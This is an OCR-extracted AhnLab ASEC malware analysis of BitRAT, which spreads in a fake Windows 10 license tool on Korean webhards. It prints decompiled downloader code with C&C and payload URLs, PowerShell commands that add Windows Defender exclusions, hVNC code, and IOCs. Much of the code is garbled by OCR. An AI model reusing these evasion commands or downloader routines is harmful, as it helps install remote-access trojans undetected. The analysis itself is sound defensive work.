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BitRAT Disguised as Windows Product Key Verification Tool Being
Distributed - ASEC

By ATCP
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The ASEC analysis team has recently discovered BitRAT which is being distributed via webhards. Because the
attacker disguised the malware as Windows 10 license verification tool from the development stage, users who
download illegal crack tools from webhard and install it to verify Windows license are at risk of having BitRAT

installed into their PC.

The following shows a post that was uploaded to webhard, one that harbors the malware. The title is [New][Quick

Install]Windows License Verification[One-click].
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A compressed file named ‘Program.zip’ is downloaded, and it is compressed and locked with a password ‘1234°.

It contains a Windows 10 license verification tool named “W10Digital Activation.exe’.
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‘W10Digital Activation.exe’ is a 7z SFX file that carries an actual verification tool called
‘W10Digital Activation.msi’ and the malware named W10DigitalActivation_Temp.msi. When the user double-
clicks the file, it installs both files concurrently. As both the malware and the verification tool are run at the same

time, the user is tricked into thinking that the tool is running properly as shown below.

[ [
mY

W10DigitalActiv W10DigitalActiv W10DigitalActiv

am Windo

ation.exe ation.msi ation_Temp.msi z : R
=0T fem Activate Windows 10 202
About
CrUsersi- - ® "o o " = -mll WW10DigitalActivation exew
oaE HEE 24NV EARAW =AM EESEH
=]
$ = v B = X i
7t U=E7 H2E A aE AH HE
_? |r CUsersf- go iz = r.-\-J_—'_‘-\‘W?DDigitaIActivatwc—n.exe’-\‘
37| o=d 37 T 2N 4 CRC TEE os
10 305 536 8775274 2022-02-1102:48 A GAZFASAT - LZIMAZ:24
6 308 864 2022-03-14 01:20 A 99CBF8Cs - LEZMAZ:24

Unlike its name, ‘W10Digital Activation_Temp.msi’ is a downloader with exe extension that downloads additional
malware. When run, it connects to following C&C servers it harbors internally, exchanging encrypted strings.

Afterward, it decrypts the strings to ultimately acquire a download URL for the additional payload.
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188 H winHttpRequest . Open( "GET", this.Domaini, Twpe.Missing):
189 {0 winHttpRequest.Zend( ")
190 : ! string text = Forml.Decrypt(winHttpReaquest .ResponseText, this.AESKew)
2 191 H this.updateContent = Resex.Split(text, "#n")[1]:
192 i H if (text.IndexOF("Y.") == -1)
183 ' { /¢ Token: 0x04000006 RID: 6
:Sé ! ] this.UpdateCheckself2( ) private string Domainl = "http://cothdesians.com: 443/1480313";
196 i else If (this.updateCommand == "0") /4 Token: 0x04000007 RID: 7
:S; : { P private string DomainZ = "Nttp://inuguek.duckdns org: 443/1480313°
4 x 1e.DownUpdatessynct )
199 ! ! k e - /4 Token: 0x04000008 RID: 8
gg? I {e\se If (Regex.Split(text, "Wn")I0]. IndexOF(this.nowier) == -1) private string Domain® = "http://nnmndlc. duckdns. org: 443/1480313";
£ L L /¢ Toksn: 0x04000008 RID: 8
204 i i else If (this.updateCommsnd == "1") private string coinbomain = "http://cothdesigns.com: 443/4411259";
208 A
206 1 this.DownCoinksynci 3
100% -
MName Value
Al p./WinHttpRequest ResponseText.get returned  "s0+bwv/Y8EASAnSVPtI0ZojEDGmMIi/SKEIEFLpNWTTXLWVOjWINXY+ SEINWDK+m8LEcexIUSRWEZe9skaDEDbO=="

po.Form1 DE.[rypt returned "V_1267705%r#nhttp://kx3nz98.duckdns.org:443/v/V_1267705 exe"
b @ this {glmdirlcagwppwpo.Form1, Text: }
@ text "V/_1267705%#¥nhttp//k:3nz98 duckdns org:443 v/ 1267705 exe”

The downloader installs the malware into the Windows startup program folder and deletes itself. Normally, the
first file that is installed is a downloader of the same kind, and the downloader run this way ultimately installs
BitRAT into the path %TEMP% as ‘Software_Reporter_Tool.exe’.

28 winConfig () 44 Replay X~ b Go | 4 Stream 5 Decode | Keep: All sessions + B Any Process 44 Find [ Save | B8] (3 @ Browse - < Clear Cache

# Result Protocol Host URL Body Caching Content-Type Process Comments
Elsg 200 HTTP kx3nz98.duckdns.org: 443 fv/V_1267705.exe 3,995,660 applicaton/... wilddigitalactivation_temp.msi... Downloader
[El w0 200 HTTP kx3nz98.duckdns.org: 443 fresult/A_1992262.exe 5,244,944 application/... eurufsif:3404 BitRAT

Note that this downloader is equipped with additional features and is not a simple program by any means. As
shown in the figure below, one of its features uses a powershell command to add the Windows startup program
folder—where the downloader will be installed—as an exclusion path for Windows Defender, and adding the

BitRAT process name ‘Software_Reporter_Tool.exe’ as an exclusion process for Windows Defender.

A+ 0x00001315 7230060070  +/ IL_0DOF9: |dstr " -Command Add-MpPreference -ExclusionPath "

S+ 0:00001314 07 +¢ |L_DOFE: ldloc.1

A+ 0x0000131B 7B17000004  +4 |L_0OFF: |df|d class [mscorlib]System, Text.StringBuilder gimdir|caqwepwpo.Forml! ! startpath

£+ 0200001320 25 +/ 1L_0104: dup

F+ 0x00001321 2004 +/ |L_0105: brirue.s IL_0D10B

A+ 0x00001323 26 +f IL_0107: pop

S+ 0:00001324 14 +/ |L_0108: ldnul

F+ 0200001325 2E05 +/ |L_0109: br.s IL_o1io

A+ 0x00001327 6F41000004  +/ |L_010B! callvirt instance string [mscorliblSystem.Object!: ToStringl)

A+ 0x0000132C 7294050070 +f L0100 ldstr e

A+ 0x00001331 2840000004 4 |L_0115: call string [mscorliblSvstem,String!:Concat{string, string, string)

F+ 0x00001336 GF47000004  +/ [L_0114: callvirt instance void [System]Zvsten.Diagnostics.ProcessStartinfol:set_Arguments{string)
A+ 0x00001336 2848000004  +/ IL_011F: call class [3ystem]3ysten.Diagnostics.Process [System]System.Diasnostics.Process: :Start
£+ 0200001340 26 +f 1L_0124: pop

£+ 0200001341 7226050070 4 IL_0125: ldstr "powershel "

F+ 000001346 7345000004  +/ |L_0124: newob] instance void [System]Svsten.Oiagnost ics.Processstartinfol!.ctor(string)

£+ 0:0000134E 25 +f |L_012F: dup

S+ 0200001340 16 4 IL_01300 Idc.i4.0

/+ 0x00001340 GFB10000O04  +/ |L_0131% callvirt instance void [System]Systen.Diagnostics.Processitartinfol set_UseShel |Executel boo
F+ 0:00001352 25 +/ |L_0136: dup

A+ 0200001353 17 +f IL_01370 ldc.i4.

F+ 0x00001354 GFE1000004  +/ |L_0138: callwirt instance void [SvstemlSvsten.Diagnostics.ProcessStartinfol ! set_CreateNoWindow(bool)
F+ 0:00001359 25 +/ |L_0130: dup

£+ 0x00001354 7214050070 +f |L_D13E: ldstr "runas”

#+ 0x0000135F GFB2000004  +/ |L_0143! callvirt instance void [SystemlSvsten.Diagnostics,ProcessStartinfol!iset_Yerb(string)

S+ 0=00001364 25 +/ |L_0148! dup

£+ 0x00001365 7298050070  +/ |L_0149: |dstr " -Command Add-MpPreference -ExclusionProcess 'Suftwara_Repurter_TUUILexe'"

/+ 0x00001364 GF47000004  +/ |L_014E: callvirt instance void [System]Svsten.Diagnostics,ProcessStartinfol!set_Arguments{string)

Seeing how this malware uses webhard which is considered as the most-used file-sharing platform in Korea and
includes Korean characters in its code as shown in the figure below, it appears that the attacker is a Korean

speaker.
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A4 Token: 0x06000006 RID: 6 RYA: 0x00002200 File Offset: 0x00000400

private static bool Ishdministrator()

i

¢ Windowsldentity current = Windows|dentity.GetCurrent();

¢+ return current '= null && new WindowsPrincipal{current), IsinRole(WindowsBuiltinRole, Adninistratard:
b

/F Token: 0xO6000007 RID: 7 RVA: Ox000022F8 File OFfset: 0x000004F3
private bool check2019{string path)

i

Filelnfo filelnfo = new Filelnfo{path);

Console. WriteLine! "M AZF . " + filelnfo.CreationTine, ToStringd ) )
return filelnfo.CreationTime.ToStringl . Substring(0, 43} == "2019";

The malware that is ultimately installed is a RAT (Remote Access Trojan) malware called BitRAT. BitRAT has

been in sale via a hacking forum since 2020 and is being continuously used by attackers.

BitRAT

#1 High Quality and Efficiency RAT
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Features

@ Fully unicode compatible. @ Software manager

@ Multi-mode, capable of handling both Tor and direct @ Thumbnail previews for either screen or
connected clients. webcam that you can move and place anywhere on
your screen.
@ Group view
@ Window manager
@ Process manager
@ Connection manager
@ Remote shell

Because BitRAT is a RAT malware, its attacker can gain control of the system infected with it. BitRAT not only
provides basic control features such as running process tasks, service tasks, file tasks, and remote commands, but

also provides extra options such as various info-stealing features, HVNC, remote desktop, coin mining, and

proxies.
IP User System UAC Level Operating Systern | Active Window | Idle Bandwidth | In/Qut Speed CPU | Ram Cam | Country Varsion Ping (RTT)
»
Layout 3
4 DDoS
Transfer manager > ‘ XMR
»
Clear statistics
»
»
Builder »
Open plugin directory
Settings
About
Status: BItRAT is readv. Navioate fo seftinas to manage oorts. Port: M/A Bots: 0/0 In/Qut: 0 B/0 B D: 0 B/s. U: 0 Bfs

The following is the list of the features that BitRAT provides.
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1. Network Communication Method
— Encrypted communication using TLS 1.2

— Communication using Tor

2. Basic Control

— Process manager
— Service manager
— File manager

— Windows manager

— Software manager

3. Information Theft
— Keylogging

— Clipboard logging
— Webcam logging

— Audio logging

— Application (e.g. Web browsers) account credential theft

4. Remote Control
— Remote desktop
—hVNC (Hidden Desktop)

5. Proxy
— SOCKSS5 Proxy: port forwarding feature using UPnP
— Reverse Proxy: SOCKS4 Proxy

6. Coin Mining
— XMRig CoinMiner

7. etc.
— DDoS attack
— UAC Bypass

— Windows Defender deactivation

Note that BitRAT uses the revealed TinyNuke’s code, just like AveMaria. The following is a comparison of
TinyNuke’s hVNC (routine related to Hidden Desktop) and BitRAT’s code.
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1 = fn_ConnectServer();
if ( SetThreadDesktop_8(dword_7A5268) )

= sub_4C9E34({v9, "AVE MARIA");
sub_4c9E@2(

trlen((co
char

onst

iz, @) > @ 8& fn_SendInt(vi, @) > @ )

sub_4CB9A7();
while ( recv_8(vi, buf, 4, 8) > @ && recv_8(vl, vi7, 4, 8) > 8 )

if ( fn_GetDeskPixels(*(int *)buf, *(int *)vi7) )

if ( fn_SendInt(vi, @) <= @ )
int width, height; break;

Sleep(lu);
else

if ( fn_SendInt(vl, 1) <= & )
break;

RtlGetCompressionhorkSpacesize(2, &v15, vid);

5 = fn_Alloc(vis);

RtlCompressBuffer(2, dword_7AB1E@, dword_7A5278, dword_7ABLE4, dword_7A5278, 4696, len,

free(vs);

Desktopliindow @ = GetDesktopWindow_8();

GetWindowRect_@(Desktopiiindow @, &Rect);

if ( fn_SendInt(vl ght) <= 8

|| fn_sendInt(vi .bottom) <= @

|| fn_SendInt(vi, dword_7A5268) <= @

|| fn_SendInt(vl, dword 7A526C) <= @

|| fn_sendInt(vi, len[@]) <= @

|| send_8(v1, dword_7ABiEa, len[8], 8) <= @

|| recv_o(vi, vi3, 4, 8) <=8 )

TinyNuke verifies and uses a signature string called ‘AVE_MARIA’ in Reverse SOCKS4 Proxy and Hidden
Desktop feature. AveMaria adopted Reverse SOCKS4 Proxy feature from TinyNuke, and the name was given
based on the string. BitRAT, on the other hand, used Hidden Desktop feature, and the signature string is the same.

Note that TinyNuke was used by the Kimsuky group in the past. Among myriad of features, only the Hidden

Desktop feature was adopted and used.

o [ASEC Blog] AveMaria malware being distributed as spam mail

As shown in the examples above, the malware is being distributed actively via file-sharing websites such as
Korean webhards. As such, caution is advised when running executables downloaded from a file-sharing website.

It is recommended for the users to download products from the official websites of developers.
AhnLab’s anti-malware software, V3, detects and blocks the malware above using the aliases below.

[File Detection]

— Trojan/Win.MalPacked.C5007707 (2022.03.12.04)

— Dropper/Win.BitRAT.C5012624 (2022.03.16.02)

— Downloader/Win.Generic.C5012582 (2022.03.16.01)
— Downloader/Win.Generic.C5012594 (2022.03.16.01)
— Backdoor/Win.BitRAT.C5012593 (2022.03.16.01)

— Backdoor/Win.BitRAT.C5012748 (2022.03.16.02)

[Behavior Detection]
— Malware/MDP.AutoRun.M1288

MD5

Page 7 of 8


https://asec.ahnlab.com/en/27346/
https://asec.ahnlab.com/en/17692/

https://asec.ahnlab.com/en/32781/

54ef1804c22f6b24a930552cd51adae2
60ee7740c4b7542701180928ef6f0d53
6befd2bd3005a0390153f643ba248e25
b8c39c252aeb7c264607a053f368f6eb
c4740d6a8fb6e17e8d2b21822c45863b
Additional IOCs are available on AhnLab TIP.
URL

http[:]//cothdesigns[.]com/
http[:]//z590kz[.]duckdns][.]org[:]5223/
https[:]1//108[.]61[.]207[.]100/result/A_1146246][.]exe
https[:1//108[.]161[.]207[.]1100/v/V_5248849[.]exe
https[:]//cothdesigns[.]Jcom/1480313

Additional IOCs are available on AhnLab TIP.

Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click

the banner below.

Ahnlab TIP

Get Started with AhnLab's State-of-the-Art Threat Intelligence

atip.ahnlab.com

Source: https://asec.ahnlab.com/en/32781
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